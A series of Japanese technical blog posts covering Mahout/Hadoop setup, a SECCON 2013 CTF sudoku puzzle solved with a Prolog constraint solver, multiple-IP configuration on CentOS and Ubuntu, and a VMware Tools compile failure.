<hr />
<pre>$ tar zxvf mahout-distribution-0.9.tar.gz
# mv mahout-distribution-0.9 /usr/local
# ln -s /usr/local/mahout-distribution-0.9 /usr/local/mahout
</pre>
<hr />
<br />
<ul>
<li>環境設定</li>
</ul>
<hr />
<pre>(追加)
JAVA_HOME=/usr/local/jdk
HADOOP_HOME=/usr/local/hadoop
MAHOUT_HOME=/usr/local/mahout
PATH=${JAVA_HOME}/bin:${HADOOP_HOME}/bin:${MAHOUT_HOME}/bin:/usr/lib/lightdm/lightdm:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
export JAVA_HOME MAHOUT_HOME PATH
$ exit
</pre>
<hr />
<br />
<ul>
<li>ネームノードフォーマット</li>
</ul>
<hr />
<pre>$ hadoop namenode -format
</pre>
<hr />
<br />
<ul>
<li>Hadoop起動</li>
</ul>
<hr />
<pre>$ start-all.sh
$ jps
4917 JobTracker
4539 NameNode
5105 Jps
4680 DataNode
4832 SecondaryNameNode
5060 TaskTracker
</pre>
<hr />
6つ起動しない場合は/usr/local/hadoop/logsの下の*.logを参照。ちょっとしたことで動かなくなったりします。<br />
<br />
で、ここでMahoutのサンプル起動しますがエラーになります。<br />
<hr />
<pre>$ cd /usr/local/mahout/examples/bin
$ ./classify-20newsgroups.sh
Please select a number to choose the corresponding task to run
1. cnaivebayes
2. naivebayes
3. sgd
4. clean -- cleans up the work area in /tmp/mahout-work-mahout
Enter your choice : 2
:
:
Exception in thread "main" java.io.FileNotFoundException: File does not exist: /tmp/mahout-work-mahout/20news-all
</pre>
<hr />
<br />
いろいろ調べた結果、このサンプルはデータをネットワークからダウンロードしますが、環境変数HADOOP_HOMEが設定されていないとhdfs上にコピーしてくれません。<br />
HADOOPはHADOOP_HOME設定してると「Warning: $HADOOP_HOME is deprecated.」って文句行ってくるのにMahoutのサンプルはそれを前提にしているってオチでした。<br />
<br />
<hr />
<pre>$ export HADOOP_HOME=/usr/local/hadoop
</pre>
<hr />
<br />
すると今度は動きます。<br />
<br />
<hr />
<pre>=======================================================
Statistics
-------------------------------------------------------
Kappa 0.8753
Accuracy 90.3805%
Reliability 85.7215%
Reliability (standard deviation) 0.2163
14/02/27 13:45:07 INFO driver.MahoutDriver: Program took 18474 ms (Minutes: 0.3079)
</pre>
<hr />
<br />
まだ不完全なんだなという印象。
戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-55004560301079015972014-02-18T13:40:00.003+09:002018-07-04T17:07:37.477+09:00SECCON 2013 CTF オンライン予選 数毒 writeupそもそも修論の追い込みで忙しい時期なので今回参加しないつもりでしたが、蓋を開ければ「解かないとあとで何言われるかわからない」数独があったのでしょうがない、この1問だけやりました。 <br />
<br />
DEFCON CTF 2013のゲリラプログラミングのスライドパズル同様、過去に自分で作って晒した<a href="http://apoup.blogspot.jp/2013/11/blog-post.html">コード</a>をダウンロードして流用パターンです。
<br />
<br />
出題サーバにtelnetでアクセスするとこんな問題が表示されます。
<br />
<br />
<hr />
<pre>'suDOKU(su-poison)' challenge for SECCON 2013.
by KeigoYAMAZAKI, 2013.11.22-
* Stage 1
1 2 3 4 5 6 7 8 9
$-+-+-$-+-+-$-+-+-$
A |8|.|.|.|.|.|.|.|.|
B |.|.|3|6|.|.|.|.|.|
C |.|7|.|.|9|.|X|.|.|
$-+-+-$-+-+-$-+-+-$
D |.|5|.|.|.|7|.|.|.|
E |.|.|.|.|4|5|7|.|.|
F |.|.|.|1|.|.|.|3|.|
$-+-+-$-+-+-$-+-+-$
G |.|.|1|.|.|.|.|6|8|
H |.|.|8|5|.|.|.|1|.|
I |.|9|.|.|.|.|4|.|.|
$-+-+-$-+-+-$-+-+-$
if 'X' is 2, how many solutions does this sudoku have? => answer:
</pre>
<hr />
注:証拠のデータ残していなかったので、問題は別のやつ貼り付けてます。
<br />
<br />
数独の問題なんですが中にXってのがあって、Xが2の時解はいくつあるか?って聞いてきます。
1盤面あたり複数この質問が来て、クリアすると次の盤面っていう繰り返しです。
<br />
<br />
以前、自分で作ったPrologのコードはこんなカンジです。<br />
<a href="https://github.com/minetosh/sudoku/tree/master/prolog">https://github.com/minetosh/sudoku/tree/master/prolog</a><br />
<br />
<hr />
<pre>sudoku(Rows) :-
maplist(seigen, Rows), cols(Rows), blks(Rows),
maplist(fd_labeling, Rows).
cols([[]|L]).
cols(L) :-
maplist(nth(1), L, X), seigen(X), maplist(delete, L, X, NL), cols(NL).
blks([]).
blks([X, Y, Z|L]) :- blks2(X, Y, Z), blks(L).
blks2([],_,_).
blks2([X1, X2, X3|XL], [Y1, Y2, Y3|YL], [Z1, Z2, Z3|ZL]) :-
seigen([X1, X2, X3, Y1, Y2, Y3, Z1, Z2, Z3]), blks2(XL, YL, ZL).
seigen(X) :- fd_domain(X, 1, 9), fd_all_different(X).
</pre>
<hr />
<br />
gprolog --consult-file sudoku.pl
で起動した後、問題入力はこうやります。
<br />
<br />
<hr />
<pre>Row1 = [8, _, _, _, _, _, _, _, _],
Row2 = [_, _, 3, 6, _, _, _, _, _],
Row3 = [_, 7, _, _, 9, _, 2, _, _],
Row4 = [_, 5, _, _, _, 7, _, _, _],
Row5 = [_, _, _, _, 4, 5, 7, _, _],
Row6 = [_, _, _, 1, _, _, _, 3, _],
Row7 = [_, _, 1, _, _, _, _, 6, 8],
Row8 = [_, _, 8, 5, _, _, _, 1, _],
Row9 = [_, 9, _, _, _, _, 4, _, _],
sudoku([Row1, Row2, Row3, Row4, Row5, Row6, Row7, Row8, Row9]).
</pre>
<hr />
<br />
解は次のように表示されます。
<br />
<br />
<hr />
<pre>Row1 = [8,1,2,7,5,3,6,4,9]
Row2 = [9,4,3,6,8,2,1,7,5]
Row3 = [6,7,5,4,9,1,2,8,3]
Row4 = [1,5,4,2,3,7,8,9,6]
Row5 = [3,6,9,8,4,5,7,2,1]
Row6 = [2,8,7,1,6,9,5,3,4]
Row7 = [5,2,1,9,7,4,3,6,8]
Row8 = [4,3,8,5,2,6,9,1,7]
Row9 = [7,9,6,3,1,8,4,5,2] ?
</pre>
<hr />
<br />
検索してこのプログラムにたどり着いても複数解表示させる方法がわからなければ意味ないんですが、<span style="color: #cc0000;"><b>Prologで次の解を表示させるには、解を表示した後の?プロンプトに対して;(セミコロン)を入力します。</b></span>解がある間これを繰り返します。<br />
1問あたり制限時間は3分なので、この間に全解を手動で表示できる程度であれば、問題をこのプログラムの入力形式に変換してコピペ、セミコロンを入力し続けて解の数を数えればおkとなります。
<br />
<br />
解の数が2桁程度までなら上記方法でも十分間に合いますが3桁以上になったらきついと思うので、その時はjavaでI/O制御するプログラム作るつもりでいました。
<br />
<br />
とりあえず問題変換&コピペの手法を試すのに、以下のプログラムを作りました。
<br />
<br />
<hr />
<pre>import java.io.*;
public class P200 {
public static void main(String args[]) {
try {
InputStreamReader isr = null;
try {
isr = new InputStreamReader(System.in, "UTF-8");
BufferedReader br = null;
try {
br = new BufferedReader(isr);
String line = null;
char c;
while (true) {
line = br.readLine();
if (line.charAt(0) != ' ') {
System.out.print("Row");
System.out.print(line.charAt(0) - 'A' + 1);
System.out.print("=[");
System.out.print(a(line.charAt(3))); System.out.print(",");
System.out.print(a(line.charAt(5))); System.out.print(",");
System.out.print(a(line.charAt(7))); System.out.print(",");
System.out.print(a(line.charAt(9))); System.out.print(",");
System.out.print(a(line.charAt(11))); System.out.print(",");
System.out.print(a(line.charAt(13))); System.out.print(",");
System.out.print(a(line.charAt(15))); System.out.print(",");
System.out.print(a(line.charAt(17))); System.out.print(",");
System.out.print(a(line.charAt(19))); System.out.println("],");
if (line.charAt(0) == 'I') {
System.out.println(
"sudoku([Row1, Row2, Row3, Row4, Row5, Row6, Row7, Row8, Row9])."
);
}
}
}
} finally {
if (br != null) br.close();
}
} finally {
if (isr != null) isr.close();
}
} catch (Exception ex) {
ex.printStackTrace();
}
}
public static char a(char c) {
if (c == '.')
return '_';
else
return c;
}
}
</pre>
<hr />
<br />
このプログラムで、
<br />
<br />
<hr />
<pre> 1 2 3 4 5 6 7 8 9
$-+-+-$-+-+-$-+-+-$
A |8|.|.|.|.|.|.|.|.|
B |.|.|3|6|.|.|.|.|.|
C |.|7|.|.|9|.|X|.|.|
$-+-+-$-+-+-$-+-+-$
D |.|5|.|.|.|7|.|.|.|
E |.|.|.|.|4|5|7|.|.|
F |.|.|.|1|.|.|.|3|.|
$-+-+-$-+-+-$-+-+-$
G |.|.|1|.|.|.|.|6|8|
H |.|.|8|5|.|.|.|1|.|
I |.|9|.|.|.|.|4|.|.|
$-+-+-$-+-+-$-+-+-$
</pre>
<hr />
<br />
が、
<br />
<br />
<hr />
<pre>Row1 = [8, _, _, _, _, _, _, _, _],
Row2 = [_, _, 3, 6, _, _, _, _, _],
Row3 = [_, 7, _, _, 9, _, X, _, _],
Row4 = [_, 5, _, _, _, 7, _, _, _],
Row5 = [_, _, _, _, 4, 5, 7, _, _],
Row6 = [_, _, _, 1, _, _, _, 3, _],
Row7 = [_, _, 1, _, _, _, _, 6, 8],
Row8 = [_, _, 8, 5, _, _, _, 1, _],
Row9 = [_, 9, _, _, _, _, 4, _, _],
sudoku([Row1, Row2, Row3, Row4, Row5, Row6, Row7, Row8, Row9]).
</pre>
<hr />
<br />
になるので、X手前までPrologへコピペ、Xのところに示された数字入力、Xより後ろコピペ、セミコロン入力しながら数えて、の繰り返しでクリア出来ました。
<br />
<br />
結局私がやったときは解の数は0,1,2しかなく結構あっさり終わってしまいました。他の方のWriteupを見ると19っていうのもあったようです。
<br />
<br />
スコア画面に「あなたが一番最初にこの問題をときました」みたいに表示されていたので、多分そうゆうことなんだと思います。
戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-67986937854455508972013-11-21T01:30:00.001+09:002018-07-04T17:05:29.386+09:00制約論理プログラミングで数独を解く<a href="http://gprolog.univ-paris1.fr/" target="_blank">GNU Prolog</a>の<a href="http://ja.wikipedia.org/wiki/%E5%88%B6%E7%B4%84%E8%AB%96%E7%90%86%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%9F%E3%83%B3%E3%82%B0" target="_blank">制約論理プログラミング</a>で数独を解くプログラムを作ったところ、ほぼ数独のルールを記述するだけで出来てしまいました。<br />
<br />
まずGNU Prologをインストールします。上のGNU Prologのサイトからソースをダウンロードしてインストールします。以下は1.4.4の場合です。<br />
<br />
$ tar zxf gprolog-1.4.4.tar.gz<br />
$ cd gprolog-1.4.4/src<br />
$ ./configure<br />
$ make<br />
$ sudo make install<br />
<br />
次に以下のプログラム、<br />
<br />
<hr />
<pre>sudoku(Rows) :-
Rows = [ % 引数の各行のリストをX11〜X99の変数に分解
[X11, X12, X13, X14, X15, X16, X17, X18, X19],
[X21, X22, X23, X24, X25, X26, X27, X28, X29],
[X31, X32, X33, X34, X35, X36, X37, X38, X39],
[X41, X42, X43, X44, X45, X46, X47, X48, X49],
[X51, X52, X53, X54, X55, X56, X57, X58, X59],
[X61, X62, X63, X64, X65, X66, X67, X68, X69],
[X71, X72, X73, X74, X75, X76, X77, X78, X79],
[X81, X82, X83, X84, X85, X86, X87, X88, X89],
[X91, X92, X93, X94, X95, X96, X97, X98, X99]
],
maplist(seigen, Rows), % 各行について値を制限
Cols = [ % Colsを各列のリストとして定義
[X11, X21, X31, X41, X51, X61, X71, X81, X91],
[X12, X22, X32, X42, X52, X62, X72, X82, X92],
[X13, X23, X33, X43, X53, X63, X73, X83, X93],
[X14, X24, X34, X44, X54, X64, X74, X84, X94],
[X15, X25, X35, X45, X55, X65, X75, X85, X95],
[X16, X26, X36, X46, X56, X66, X76, X86, X96],
[X17, X27, X37, X47, X57, X67, X77, X87, X97],
[X18, X28, X38, X48, X58, X68, X78, X88, X98],
[X19, X29, X39, X49, X59, X69, X79, X89, X99]
],
maplist(seigen, Cols), % 各列について値を制限
Blks = [ % Blksを各ブロックのリストとして定義
[X11, X12, X13, X21, X22, X23, X31, X32, X33],
[X14, X15, X16, X24, X25, X26, X34, X35, X36],
[X17, X18, X19, X27, X28, X29, X37, X38, X39],
[X41, X42, X43, X51, X52, X53, X61, X62, X63],
[X44, X45, X46, X54, X55, X56, X64, X65, X66],
[X47, X48, X49, X57, X58, X59, X67, X68, X69],
[X71, X72, X73, X81, X82, X83, X91, X92, X93],
[X74, X75, X76, X84, X85, X86, X94, X95, X96],
[X77, X78, X79, X87, X88, X89, X97, X98, X99]
],
maplist(seigen, Blks), % 各ブロックについて値を制限
maplist(fd_labeling, Rows). % 各行の値を探索
% リストXの各値の取る値は1から9で、重複なし
seigen(X) :- fd_domain(X,1,9), fd_all_different(X).
</pre>
<hr />
<br />
をファイル(sudoku.pl)に保存して、以下のようにprologを起動します。<br />
<br />
$ gprolog --consult-file sudoku.pl<br />
<br />
プロンプト(?-)が表示されたところで、以下のように問題データをセットして呼び出します。<br />
<br />
<hr />
<pre>Row1 = [8, _, _, _, _, _, _, _, _],
Row2 = [_, _, 3, 6, _, _, _, _, _],
Row3 = [_, 7, _, _, 9, _, 2, _, _],
Row4 = [_, 5, _, _, _, 7, _, _, _],
Row5 = [_, _, _, _, 4, 5, 7, _, _],
Row6 = [_, _, _, 1, _, _, _, 3, _],
Row7 = [_, _, 1, _, _, _, _, 6, 8],
Row8 = [_, _, 8, 5, _, _, _, 1, _],
Row9 = [_, 9, _, _, _, _, 4, _, _],
sudoku([Row1, Row2, Row3, Row4, Row5, Row6, Row7, Row8, Row9]).
</pre>
<hr />
<br />
多分、瞬殺で解答が返ってくると思います。問題は<a href="http://rocketnews24.com/2012/07/03/22654/" target="_blank">こちら</a>のサイトから世界一難しい数独問題を拝借しました。 <br />
<br />
<hr />
<pre>Row1 = [8,1,2,7,5,3,6,4,9]
Row2 = [9,4,3,6,8,2,1,7,5]
Row3 = [6,7,5,4,9,1,2,8,3]
Row4 = [1,5,4,2,3,7,8,9,6]
Row5 = [3,6,9,8,4,5,7,2,1]
Row6 = [2,8,7,1,6,9,5,3,4]
Row7 = [5,2,1,9,7,4,3,6,8]
Row8 = [4,3,8,5,2,6,9,1,7]
Row9 = [7,9,6,3,1,8,4,5,2] ?
</pre>
<hr />
<br />
プログラム、というかルール記述は至って単純で、<br />
Rows = [[X11, ... , X19], ... [X91, ... , X99],<br />
で引数で渡されたRowsの各行を変数X11〜X99に分解、<br />
maplist(seigen, Rows),<br />
で数独による各行の値のルールを指定しています。maplistは2つ目の引数のリストの各要素について1つ目の引数の関数(Prologでは通常は関数と呼ばないようですが)を呼び出します。Rowsの各行についてseigenを呼び出していますが、これは最後の行で以下のように定義されています。<br />
seigen(X) :- fd_domain(X,1,9), fd_all_different(X).<br />
fd_domainで各要素の値の取りうる値を1から9に制限し、fd_all_differentで各要素で重複する値を持つことがない、としています。<br />
Cols = [...<br />
と<br />
Blks = [...<br />
で各列と各ブロックのリストを構成する変数を定義し、同じようにseigenを呼び出しています。<br />
<br />
以上、ここまでは文字通り数独のルール記述だけになっています。<br />
<br />
maplist(fd_labeling, Rows).<br />
<br />
この行で各行のリストの持つ変数、すなわちX11〜X99すべてについて探索開始を指示しています。<br />
<br />
問題を設定するところでわざわざRows1〜Rows9のリストとしているのは、結果の表示を見やすくするためです。<br />
<br />
こんなに簡単にいけると思わかなった。。。<br />
<br />
<span style="color: #cc0000;">2013/11/21追記</span><br />
<span style="color: #cc0000;"> </span> <br />
以下が私の考える最短ソース。ここまで行くとProlog読めないと意味不明。<br />
<a href="https://github.com/minetosh/sudoku/tree/master/prolog">https://github.com/minetosh/sudoku/tree/master/prolog</a><br />
<br />
<hr />
<pre>sudoku(Rows) :-
maplist(seigen, Rows), cols(Rows), blks(Rows),
maplist(fd_labeling, Rows).
cols([[]|L]).
cols(L) :-
maplist(nth(1), L, X), seigen(X), maplist(delete, L, X, NL), cols(NL).
blks([]).
blks([X, Y, Z|L]) :- blks2(X, Y, Z), blks(L).
blks2([],_,_).
blks2([X1, X2, X3|XL], [Y1, Y2, Y3|YL], [Z1, Z2, Z3|ZL]) :-
seigen([X1, X2, X3, Y1, Y2, Y3, Z1, Z2, Z3]), blks2(XL, YL, ZL).
seigen(X) :- fd_domain(X, 1, 9), fd_all_different(X).
</pre>
<hr />
戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-24940637845970477062013-11-09T18:07:00.004+09:002016-02-14T00:42:43.404+09:00Linuxで一つのネットワークインターフェースに複数IPアドレス設定する方法<a href="http://apoup.blogspot.jp/2013/10/centos6ip.html" target="_blank">CentOS6から複数IPアドレス設定の方法か変わったらしい、件</a>で書いた、IPエイリアスを使わない方法はUbuntuでも行けました。しかもGUI上一つしか設定できないように見える8.04で。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggayGl8u0xBglHW8rFpPn9WIajUQIxgkXCdjWzM1VqchN61QbMT4cwwE8-IjKldkTdOiW5BAXsTF-cZi2ytxJ2E_csD5briNj7wW5Er3cfSLtZZhY9U9n0RABvBc4dghM8BAkmy_knzn4B/s1600/ubuntu8.04.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="256" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggayGl8u0xBglHW8rFpPn9WIajUQIxgkXCdjWzM1VqchN61QbMT4cwwE8-IjKldkTdOiW5BAXsTF-cZi2ytxJ2E_csD5briNj7wW5Er3cfSLtZZhY9U9n0RABvBc4dghM8BAkmy_knzn4B/s320/ubuntu8.04.jpg" width="320" /></a></div>
<br />
<br />
# ip addr add 192.168.224.132/24 dev eth0<br />
<br />
で設定できて、pingが通りました。ifconfigではやっぱり出て来ません。<br />
<br />
全部試したわけじゃないけど、きっとLinux共通なんでしょーねー。<br />
自分が知らなかっただけか。 戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com0tag:blogger.com,1999:blog-4009047918943795679.post-12443092083806468852013-10-31T17:15:00.002+09:002018-06-08T18:19:54.038+09:00CentOS6から複数IPアドレス設定の方法が変わったらしい、件UNIX系OSにおいて、1つの物理ネットワークインターフェースで複数のIPアドレスを使うのに、eth0:0といった仮想?インターフェースを定義して別のアドレスを振る、ってのがここ20年近く使われてきた常套手段だと思いますが、どうも最近のCentOSには別の方法があるようです。<br />
<br />
CentOSでIPアドレスを固定にしようと思いGUIメニューから、システム→設定→ネットワーク接続、でネットワークインターフェースを選択して編集をクリック、IPv4のセッティングタブを開くと、IPアドレスを複数設定できるように見えます。<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSwL2ZaDTufmv4tBXDJHx0dpFCZxDZ3dyOTPQDp8QTu9kQc4WgZQZM2ubSS9JbXT8zGI4rcUP3wYlwqIV2_LqCuB_LjI5R6egJp7UTazhD_iLSCif8f-shdHSCG90pZZV0Gp1dwT_rVcMG/s1600/eth0-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSwL2ZaDTufmv4tBXDJHx0dpFCZxDZ3dyOTPQDp8QTu9kQc4WgZQZM2ubSS9JbXT8zGI4rcUP3wYlwqIV2_LqCuB_LjI5R6egJp7UTazhD_iLSCif8f-shdHSCG90pZZV0Gp1dwT_rVcMG/s320/eth0-1.png" width="275" /></a></div>
<br />
おそらく最初のIPがeth0に割り当てられ、2つ目がeth0:0、3つ目がeth0:1、と言った具合に続くと予想していました。仕事で複数IP振る必要があったので、早速試してみました。<br />
<br />
下のように192.168.100.101と192.168.100.102を設定して、<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSVavZeFGqwJTOzS87GPZ1WF7nxfn68WKmH5J-OqKgqzvYosJXXeVaRLqRNaxUNrXU9T8VDL-fL-2PCLBmvY137aTYUVPHLffQCrbGcGpu-IgQIT3p7bDv4JFJpJYeW8i7A_AWnGAvlo72/s1600/eth0-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSVavZeFGqwJTOzS87GPZ1WF7nxfn68WKmH5J-OqKgqzvYosJXXeVaRLqRNaxUNrXU9T8VDL-fL-2PCLBmvY137aTYUVPHLffQCrbGcGpu-IgQIT3p7bDv4JFJpJYeW8i7A_AWnGAvlo72/s320/eth0-2.png" width="275" /></a></div>
<br />
ifconfigで確認したところ、アドレス192.168.100.102は出てきません。<br />
<br />
<hr />
<pre>bash-4.1$ ifconfig -a
eth0 Link encap:Ethernet HWaddr 08:00:27:DC:58:77
inet addr:192.168.100.101 Bcast:192.168.100.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fedc:5877/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:25 errors:0 dropped:0 overruns:0 frame:0
TX packets:47 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:12297 (12.0 KiB) TX bytes:3305 (3.2 KiB)
Interrupt:10 Base address:0xd020
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:8 errors:0 dropped:0 overruns:0 frame:0
TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:480 (480.0 b) TX bytes:480 (480.0 b)
</pre>
<hr />
<br />
しかし、他のマシンからpingを打つとちゃんと帰ってきます。pingを打ったマシンでarpを見ると、ちゃんと複数IPアドレスが同一MACアドレスにリンクされています。<br />
<br />
<hr />
<pre>$ arp -a
? (192.168.100.101) at 8:0:27:dc:58:77 on en1 ifscope [ethernet]
? (192.168.100.102) at 8:0:27:dc:58:77 on en1 ifscope [ethernet]
</pre>
<hr />
<br />
どゆこと???<br />
<pre class="aa">(◕‿‿◕)わけがわからないよ。</pre>
<br />
意図した通りに動いているけど原理がまったくわからない。<br />
「CentOS6+複数IPアドレス」で検索しても、従来の方法しか見つかりませんでしたが、「RedHat6+複数IPアドレス」でようやくこのページにたどり着きました。<br />
<br />
<a href="http://piyolian.blogspot.jp/2013/03/rhel6-ifconfig-is-obsolete.html" target="_blank">RHEL6: ifconfig is obsolete!</a><br />
<br />
このページによると、ifconfigは廃止なんだそうで、今後はip addrを使えってことでした。早速やってみると、<br />
<br />
<hr />
<pre>bash-4.1$ ip addr
1: lo: <loopback> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <broadcast> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 08:00:27:dc:58:77 brd ff:ff:ff:ff:ff:ff
inet 192.168.100.101/24 brd 192.168.100.255 scope global eth0
inet 192.168.100.102/24 brd 192.168.100.255 scope global secondary eth0
inet6 fe80::a00:27ff:fedc:5877/64 scope link
valid_lft forever preferred_lft forever
</broadcast></loopback></pre>
<hr />
<br />
でてきました。
どうやら最近のRedHat系OSは1つのインターフェースに仮想インターフェースを追加することなくフツーに複数IPアドレス設定できるようになっているようです。従来のifconfigではこの設定を見ることはできず、ip addrでないと見れない。<br />
<br />
設定ファイルの中は、以下の通り2つ目以降のアドレスをIPADDR2等で設定しています。<br />
<br />
<hr />
<pre>bash-4.1$ cat /etc/sysconfig/network-scripts/ifcfg-Auto_eth0
TYPE=Ethernet
BOOTPROTO=none
IPADDR=192.168.100.101
PREFIX=24
GATEWAY=192.168.100.254
DNS1=192.168.100.254
DOMAIN=burger.jp
DEFROUTE=yes
IPV4_FAILURE_FATAL=yes
IPV6INIT=no
NAME="Auto eth0"
UUID=e35c20d7-be0a-44e4-bdea-a3f20d6a9165
ONBOOT=yes
IPADDR2=192.168.100.102
PREFIX2=24
HWADDR=08:00:27:DC:58:77
LAST_CONNECT=1383196516
</pre>
<hr />
<br />
ずいぶん簡単にできるようになりました。が、このリンク先にもある通り、<strike>仮想インターフェース方式ならup/downを別にできる</strike>(ip addr add/delでできそうなので削除)、webminが複数IPアドレス方式だと認識できない、といったこともあるようなので、用途によってどちらを使うか考える必要があります。Apahce2.2は問題なく動きました。<br />
<br />
ためしにこの状態で仮想インターフェースも使えるかやってみました。/etc/sysconfig/network-scripts/ifcfg-eth0:0を以下のように用意します。192.168.100.103を仮想IPアドレスにします。<br />
<br />
<hr />
<pre>bash-4.1$ cat /etc/sysconfig/network-scripts/ifcfg-eth0:0
TYPE=Ethernet
BOOTPROTO=none
IPADDR=192.168.100.103
PREFIX=24
GATEWAY=192.168.100.254
ONBOOT=yes
</pre>
<hr />
<br />
リブート後ifconfigで確認すると、192.168.100.102は相変わらず出ませんがeth0:0で192.168.100.103が出てきました。<br />
<br />
<hr />
<pre>bash-4.1$ ifconfig -a
eth0 Link encap:Ethernet HWaddr 08:00:27:DC:58:77
inet addr:192.168.100.101 Bcast:192.168.100.255 Mask:255.255.255.0
inet6 addr: fe80::a00:27ff:fedc:5877/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:23 errors:0 dropped:0 overruns:0 frame:0
TX packets:45 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:12171 (11.8 KiB) TX bytes:3221 (3.1 KiB)
Interrupt:10 Base address:0xd020
eth0:0 Link encap:Ethernet HWaddr 08:00:27:DC:58:77
inet addr:192.168.100.103 Bcast:192.168.100.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Interrupt:10 Base address:0xd020
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:8 errors:0 dropped:0 overruns:0 frame:0
TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:480 (480.0 b) TX bytes:480 (480.0 b)
</pre>
<hr />
<br />
ip addrはこんなカンジです。<br />
<br />
<hr />
<pre>bash-4.1$ ip addr
1: lo: <loopback> mtu 16436 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <broadcast> mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 08:00:27:dc:58:77 brd ff:ff:ff:ff:ff:ff
inet 192.168.100.101/24 brd 192.168.100.255 scope global eth0
inet 192.168.100.102/24 brd 192.168.100.255 scope global secondary eth0
inet 192.168.100.103/24 brd 192.168.100.255 scope global secondary eth0:0
inet6 fe80::a00:27ff:fedc:5877/64 scope link
</broadcast></loopback></pre>
<hr />
<br />
他のマシンからはすべて問題なくpingが通りました。
戦力外プログラマhttp://www.blogger.com/profile/03191818418039859930noreply@blogger.com1tag:blogger.com,1999:blog-4009047918943795679.post-7218119260181568762013-07-23T15:56:00.002+09:002016-02-14T00:43:19.797+09:00VMWare Player上のUbuntu13.04でVMWare Toolsのhgfsのコンパイルがコケる件<br />
VMWare Player上のUbuntu13.04でVMWare Toolsをインストールしようとすると、ホストOSとゲストOSでディレクトリを共有するためのファイルシステムhgfs(Host-Guest Filesystem)のコンパイルに失敗します。<br />
<br />
<hr />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">The VMware Host-Guest Filesystem allows for shared folders between the host OS </span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">and the guest OS in a Fusion or Workstation virtual environment. Do you wish </span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">to enable this feature? [yes] </span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"><br /></span>
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">Using 2.6.x kernel build system.</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">make: ディレクトリ `/tmp/modconfig-fMqXb3/vmci-only' に入ります</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">/usr/bin/make -C /lib/modules/3.8.0-23-generic/build/include/.. SUBDIRS=$PWD SRCROOT=$PWD/. \</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> MODULEBUILDDIR= modules</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;">make[1]: ディレクトリ `/usr/src/linux-headers-3.8.0-23-generic' に入ります</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmci-only/linux/driver.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmci-only/linux/vmciKernelIf.o</span><br />
<span style="font-family: "helvetica neue" , "arial" , "helvetica" , sans-serif; font-size: small;"> CC [M] /tmp/modconfig-fMqXb3/vmci-only/common/vmciContext.o</span><br />
